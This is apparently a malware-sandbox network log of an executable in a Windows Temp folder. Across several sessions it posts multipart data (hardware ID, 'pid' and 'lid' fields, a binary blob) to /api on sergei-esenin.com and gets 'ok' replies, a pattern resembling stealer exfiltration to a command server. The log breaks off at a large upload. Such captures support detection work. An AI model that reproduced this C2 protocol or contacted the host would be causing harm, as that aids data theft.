2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 6e 58 31 70 34 4b 79 34 73 2f 6e 4f 54 4a 6d 6f 44 38 45 61 52 58 7a 6a 73 37 43 61 78 59 78 4d 66 4f 4c 62 5a 4c 41 6c 65 6d 76 66 7a 57 67 52 48 49 69 54 7a 55 33 63 53 47 67 2f 45 43 36 6b 53 46 4c 58 73 50 6f 52 61 57 6a 49 56 6c 2b 6b 41 61 45 65 7a 7a 33 4d 6d 62 45 63 61 4d 4b 5a 72 6d 7a 6f 57 43 38 77 61 75 57 39 6b 31 50 67 2b 6a 57 39 7a 4a 7a 69 32 32 53 77 4a 58 70 72 33 70 37 35 59 54 30 34 56 76 6f 2b 76 4a 68 6f 72 67 56 4c 55 56 30 6e 51 38 42 4f 30 4f 6a 73 2b 43 62 76 39 4a 46 51 58 30 38 64 4c 4a 6c 67 72 4c 69 43 79 59 35 38 79 45 69 4f 51 66 70 56 50 45 4e 54 59 46 70 6c 4c 4f 6a 4d 41 6a 38 56 52 61 54 37 37 63 33 74 53 44 41 4e 50 41 47 4a 58 6d 79 59 2b 62 74 67 76 6b 51 6f 73 7a 4e 30 6a 31 46 73 2f 41 67 6d 4c Data Ascii: 3f92nX1p4Ky4s/nOTJmoD8EaRXzjs7CaxYxMfOLbZLAlemvfzWgRHIiTzU3cSGg/EC6kSFLXsPoRaWjIVl+kAaEezz3MmbEcaMKZrmzoWC8wauW9k1Pg+jW9zJzi22SwJXpr3p75YT04Vvo+vJhorgVLUV0nQ8BO0Ojs+Cbv9JFQX08dLJlgrLiCyY58yEiOQfpVPENTYFplLOjMAj8VRaT77c3tSDANPAGJXmyY+btgvkQoszN0j1Fs/AgmL
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 50 6e 32 32 4e 2b 56 41 38 2b 4a 49 35 6a 68 79 34 43 42 38 51 61 6e 58 73 4d 2b 4d 67 32 68 57 38 33 65 6a 57 4b 32 41 6c 6f 51 35 72 32 4c 6d 37 59 77 39 61 46 74 69 61 62 65 79 49 72 36 56 50 49 62 79 6a 77 38 42 71 6c 45 77 4e 36 41 5a 50 5a 4b 45 68 2f 35 38 64 33 56 67 77 76 44 67 69 4f 5a 34 4d 36 4d 6a 50 49 51 70 6c 79 4c 65 6e 73 50 74 52 61 57 6a 4b 5a 67 37 46 5a 59 4f 66 58 39 31 4d 75 48 47 49 4b 64 59 34 2b 6f 77 49 54 4e 72 6c 53 75 55 4d 45 39 4f 41 47 70 57 38 37 46 67 57 72 2b 51 52 49 46 2f 2f 66 42 33 35 51 43 7a 59 67 70 6e 75 54 49 68 49 6e 6b 48 2b 6f 56 69 7a 4d 6a 53 50 55 57 37 73 65 59 51 4f 52 65 57 67 69 77 35 4a 50 63 6e 55 4f 61 77 69 53 61 36 63 61 43 69 2f 30 52 70 31 76 4f 50 6a 77 45 72 56 62 4e 79 6f 68 75 2f 6b 51 57 Data Ascii: Pn22N+VA8+JI5jhy4CB8QanXsM+Mg2hW83ejWK2AloQ5r2Lm7Yw9aFtiabeyIr6VPIbyjw8BqlEwN6AZPZKEh/58d3VgwvDgiOZ4M6MjPIQplyLensPtRaWjKZg7FZYOfX91MuHGIKdY4+owITNrlSuUME9OAGpW87FgWr+QRIF//fB35QCzYgpnuTIhInkH+oVizMjSPUW7seYQOReWgiw5JPcnUOawiSa6caCi/0Rp1vOPjwErVbNyohu/kQW
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 7a 65 6d 51 6a 45 6a 43 79 51 35 4d 72 49 77 37 59 54 73 68 75 54 64 42 77 53 6f 46 44 5a 33 62 74 6b 39 68 31 61 43 4c 44 6b 6b 39 79 64 51 35 72 43 49 4a 72 69 79 6f 32 4a 2f 68 4f 70 57 73 63 77 4e 67 57 70 58 38 72 4a 6e 48 48 77 51 68 6f 59 38 50 4c 66 79 5a 38 47 77 6f 35 74 32 4b 6a 41 6b 4d 32 75 56 4a 74 4d 79 33 51 6b 52 72 51 57 79 63 44 4f 4f 37 5a 44 46 77 58 79 38 74 50 61 6b 67 66 4a 68 53 75 51 36 63 53 4e 6a 76 4d 53 71 31 76 48 50 6a 77 41 70 31 6a 44 79 6f 70 6c 38 41 78 55 56 2f 6e 6c 6b 34 50 52 4d 63 2b 4d 4a 4a 58 75 79 70 36 6c 78 31 53 31 46 64 4a 30 50 41 54 74 44 6f 37 49 68 57 76 36 53 52 49 53 2f 2f 58 5a 30 35 34 4d 30 49 4d 69 6e 2b 2f 4d 68 59 4c 34 45 61 52 4a 7a 44 38 77 41 4b 52 59 79 49 7a 41 49 2f 46 55 57 6b 2b 2b 79 Data Ascii: zemQjEjCyQ5MrIw7YTshuTdBwSoFDZ3btk9h1aCLDkk9ydQ5rCIJriyo2J/hOpWscwNgWpX8rJnHHwQhoY8PLfyZ8Gwo5t2KjAkM2uVJtMy3QkRrQWycDOO7ZDFwXy8tPakgfJhSuQ6cSNjvMSq1vHPjwAp1jDyopl8AxUV/nlk4PRMc+MJJXuyp6lx1S1FdJ0PATtDo7IhWv6SRIS//XZ054M0IMin+/MhYL4EaRJzD8wAKRYyIzAI/FUWk++y
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 45 79 6f 59 6a 68 4f 6e 49 79 4d 4f 32 45 37 49 62 6b 33 51 4b 48 71 70 52 77 59 36 6e 5a 4f 31 4e 45 42 54 31 38 5a 50 45 33 78 71 43 68 53 48 57 73 49 65 46 67 66 73 51 75 46 66 4c 4e 44 49 50 70 30 54 42 77 34 4e 67 39 6b 6b 49 46 75 7a 79 32 4e 36 53 42 38 32 4e 49 5a 37 69 68 38 62 4e 38 51 7a 71 41 34 73 59 4f 42 6d 6e 46 4f 6e 57 6d 47 54 36 58 52 45 61 38 72 33 4d 6c 59 68 44 78 59 35 74 7a 71 6a 48 69 59 44 6b 45 61 74 52 77 54 6b 7a 42 36 68 54 77 63 69 4b 61 50 68 65 46 42 6a 2b 2b 39 6a 61 6c 41 44 4a 69 43 4f 66 2b 6f 66 47 7a 66 45 4d 36 67 4f 4c 48 69 41 4a 6f 46 71 4d 34 6f 56 31 38 51 34 37 47 66 58 36 33 38 33 52 48 49 79 62 62 5a 48 6b 68 39 44 4e 2f 78 71 6d 57 4d 77 38 4d 77 32 74 58 63 37 44 68 47 33 78 58 68 41 62 39 4f 2f 63 32 4a Data Ascii: EyoYjhOnIyMO2E7Ibk3QKHqpRwY6nZO1NEBT18ZPE3xqChSHWsIeFgfsQuFfLNDIPp0TBw4Ng9kkIFuzy2N6SB82NIZ7ih8bN8QzqA4sYOBmnFOnWmGT6XREa8r3MlYhDxY5tzqjHiYDkEatRwTkzB6hTwciKaPheFBj++9jalADJiCOf+ofGzfEM6gOLHiAJoFqM4oV18Q47GfX6383RHIybbZHkh9DN/xqmWMw8Mw2tXc7DhG3xXhAb9O/c2J
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 59 34 2b 6f 77 49 54 4e 72 6c 53 71 58 38 63 33 50 41 61 69 57 38 48 4c 68 57 7a 38 51 67 67 59 2b 2f 58 66 30 35 77 52 79 49 67 2f 6e 2b 48 4b 68 6f 58 6b 46 2b 6f 56 69 7a 4d 6a 53 50 55 57 2f 4d 61 4e 62 2b 42 42 46 56 66 68 73 38 71 62 6c 67 2b 43 32 6d 32 45 2b 73 65 44 6a 66 45 61 75 46 72 44 4f 7a 45 49 71 31 33 45 7a 34 64 6e 2b 45 55 63 46 76 50 38 30 74 75 55 41 38 75 51 49 4e 61 6d 68 34 2b 56 74 6b 7a 71 62 4d 63 2f 43 67 75 37 46 74 47 43 6c 79 50 78 51 46 70 50 76 76 7a 42 31 70 6b 48 77 6f 38 72 6e 65 6e 47 69 34 33 32 46 36 70 65 77 44 73 39 44 36 42 63 78 38 57 63 61 2f 4a 65 47 68 76 36 76 5a 32 62 6c 68 75 43 32 6d 32 6d 36 38 79 45 6a 66 73 42 36 6b 53 46 4c 58 73 50 6f 52 61 57 6a 49 5a 6f 2f 55 6f 52 46 50 33 7a 32 4e 47 65 44 4d 69 Data Ascii: Y4+owITNrlSqX8c3PAaiW8HLhWz8QggY+/Xf05wRyIg/n+HKhoXkF+oVizMjSPUW/MaNb+BBFVfhs8qblg+C2m2E+seDjfEauFrDOzEIq13Ez4dn+EUcFvP80tuUA8uQINamh4+VtkzqbMc/Cgu7FtGClyPxQFpPvvzB1pkHwo8rnenGi432F6pewDs9D6Bcx8Wca/JeGhv6vZ2blhuC2m2m68yEjfsB6kSFLXsPoRaWjIZo/UoRFP3z2NGeDMi
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 73 61 46 68 76 70 57 71 31 62 62 4d 33 74 47 37 56 43 4f 6c 4e 34 74 74 6b 67 4c 56 36 61 74 67 59 44 45 55 4a 58 53 66 34 6d 6d 33 73 69 62 74 6b 7a 34 46 59 73 6d 65 31 44 74 45 63 33 65 6e 47 58 31 57 68 6c 51 77 4d 50 7a 30 4a 30 41 7a 6f 4d 71 31 71 61 48 68 38 32 75 4c 65 70 59 32 53 5a 30 47 62 74 62 33 73 76 43 61 2b 64 42 46 6c 65 77 76 5a 2f 66 6d 67 2f 48 68 54 33 5a 2b 74 65 44 67 65 42 59 72 6b 6d 4c 65 6e 73 5a 70 6c 6e 63 77 6f 6b 73 35 31 6f 58 42 2f 33 34 31 4a 65 5a 45 73 2b 4f 62 64 69 6f 30 6f 4f 42 38 42 6d 2f 46 4e 6f 69 4f 42 36 71 47 73 62 64 67 32 2b 32 63 31 52 58 35 72 32 4c 6d 36 51 41 7a 49 77 71 67 50 6d 4b 71 49 62 36 46 36 5a 61 7a 48 52 31 53 4b 73 57 6c 70 2f 41 49 2f 4a 64 57 6b 2b 75 72 34 69 4f 77 6c 53 53 30 44 4c 59 Data Ascii: saFhvpWq1bbM3tG7VCOlN4ttkgLV6atgYDEUJXSf4mm3sibtkz4FYsme1DtEc3enGX1WhlQwMPz0J0AzoMq1qaHh82uLepY2SZ0Gbtb3svCa+dBFlewvZ/fmg/HhT3Z+teDgeBYrkmLensZplncwoks51oXB/341JeZEs+Obdio0oOB8Bm/FNoiOB6qGsbdg2+2c1RX5r2Lm6QAzIwqgPmKqIb6F6ZazHR1SKsWlp/AI/JdWk+ur4iOwlSS0DLY
2024-10-24 02:58:35 UTC	1369	IN	Data Raw: 75 32 54 50 6b 56 69 79 5a 37 55 4f 30 52 77 4d 47 50 59 50 68 50 43 41 58 34 2f 73 58 59 31 6a 33 38 70 79 43 62 37 63 6d 50 73 38 67 31 6f 45 76 47 4f 7a 77 32 6b 32 48 66 79 35 34 68 30 45 38 4d 46 4c 36 7a 6b 38 50 52 57 34 4b 6a 4a 34 62 6c 79 49 2f 4e 75 46 53 75 47 35 4e 30 48 67 57 67 55 38 44 4c 7a 45 4c 38 58 42 63 59 2b 62 32 64 6d 35 31 44 6d 73 49 73 6e 50 6a 4b 68 34 71 36 45 37 42 63 69 33 70 37 42 75 30 4f 6a 73 32 45 63 2f 74 44 48 56 76 34 38 39 32 62 6a 6b 33 62 77 6a 76 57 73 4a 54 47 7a 65 52 55 38 68 75 4d 4f 6a 59 4a 72 6c 6a 4e 33 70 78 6c 39 56 6f 5a 55 4d 44 44 39 74 61 63 42 73 79 46 45 36 6a 4a 7a 5a 69 41 2b 52 50 6f 65 38 77 69 4f 44 61 54 59 64 2f 4c 6e 69 48 51 54 77 77 55 76 72 4f 54 77 39 46 62 67 71 4d 6e 68 75 58 49 6a Data Ascii: u2TPkViyZ7UO0RwMGPYPhPCAX4/sXY1j38pyCb7cmPs8g1oEvGOzw2k2Hfy54h0E8MFL6zk8PRW4KjJ4blyI/NuFSuG5N0HgWgU8DLzEL8XBcY+b2dm51DmsIsnPjKh4q6E7Bci3p7Bu0Ojs2Ec/tDHVv4892bjk3bwjvWsJTGzeRU8huMOjYJrljN3pxl9VoZUMDD9tacBsyFE6jJzZiA+RPoe8wiODaTYd/LniHQTwwUvrOTw9FbgqMnhuXIj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50018	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:36 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 02:58:36 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:37 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ii5h5maeoslanat5hm8b72trpi; expires=Sun, 16 Feb 2025 20:45:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vY9i0eqWfy5GKnJFqige8KDfIEAozzUYmKU6ocHcwd7u6OuzW3mUcrSCPdEzOwsGKmin%2By2O7i3FNV7AiSUAU8BN0l4GLg5rmBEZ28Oar7ZwrP3b9TtxP3v53tkpNrMZIasODQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4c53bd12d35-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1308&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=2190620&cwnd=251&unsent_bytes=0&cid=58d8c16ab1f98649&ts=384&x=0"
2024-10-24 02:58:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50021	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:38 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 02:58:38 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:39 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v119ub0tnrmvr3rbia515g29ub; expires=Sun, 16 Feb 2025 20:45:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4fZmpT0x5xvyDK9DvK9giGXg4V6qPK4uhjatOw9qMDUr5gbAzrsJDBxI1xLRCT8GagMfGPQ1r1tTfTZZKVknDaXGWjTy7x7fz%2Fcxk1pzSkQieHx31UXFlmMWpYWLu55jJpVmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4d05c512cab-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16140&delivery_rate=2188964&cwnd=239&unsent_bytes=0&cid=701dc65ea5749e99&ts=446&x=0"
2024-10-24 02:58:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50029	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:42 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 02:58:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:42 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 02:58:42 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k4blvd5o6vq67hkh78u1on38hs; expires=Sun, 16 Feb 2025 20:45:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0xLxjxtRnA5bGlIdGrKhyDOzkjCicdwhiri56GSnGIW4kTvZ3YGKeYd48ZpnP%2BIo%2FhIRBhVDdIVknGiO9KL%2Boe51I4BKn9YLhyTMXM%2FoBcwGOm7PaoT%2BXiIzJsDpCbS%2F6lSvkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4e5987a486e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=2448013&cwnd=251&unsent_bytes=0&cid=7b60bc9768fe4ec1&ts=575&x=0"
2024-10-24 02:58:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50036	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:47 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1314 Host: sergei-esenin.com
2024-10-24 02:58:47 UTC	1314	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:48 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=akuolr23f1jb3nqnbcmfh6jafl; expires=Sun, 16 Feb 2025 20:45:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9yiO%2BiCPzVIKjorXQul0PFN9zYVJWjNLo71NZGGdjqhawukyrurDkCm6eALu1RiUGcnxqGHY%2B9tt0CE1j7JU3W10QBYU8KwjSsUU49oSoMJXjznV8m9dcZy%2BLD8rQEsum5DeAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b50a6fe16bce-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2321&delivery_rate=2462585&cwnd=238&unsent_bytes=0&cid=fb4c7a40f478b0f3&ts=517&x=0"
2024-10-24 02:58:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50042	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:51 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579923 Host: sergei-esenin.com
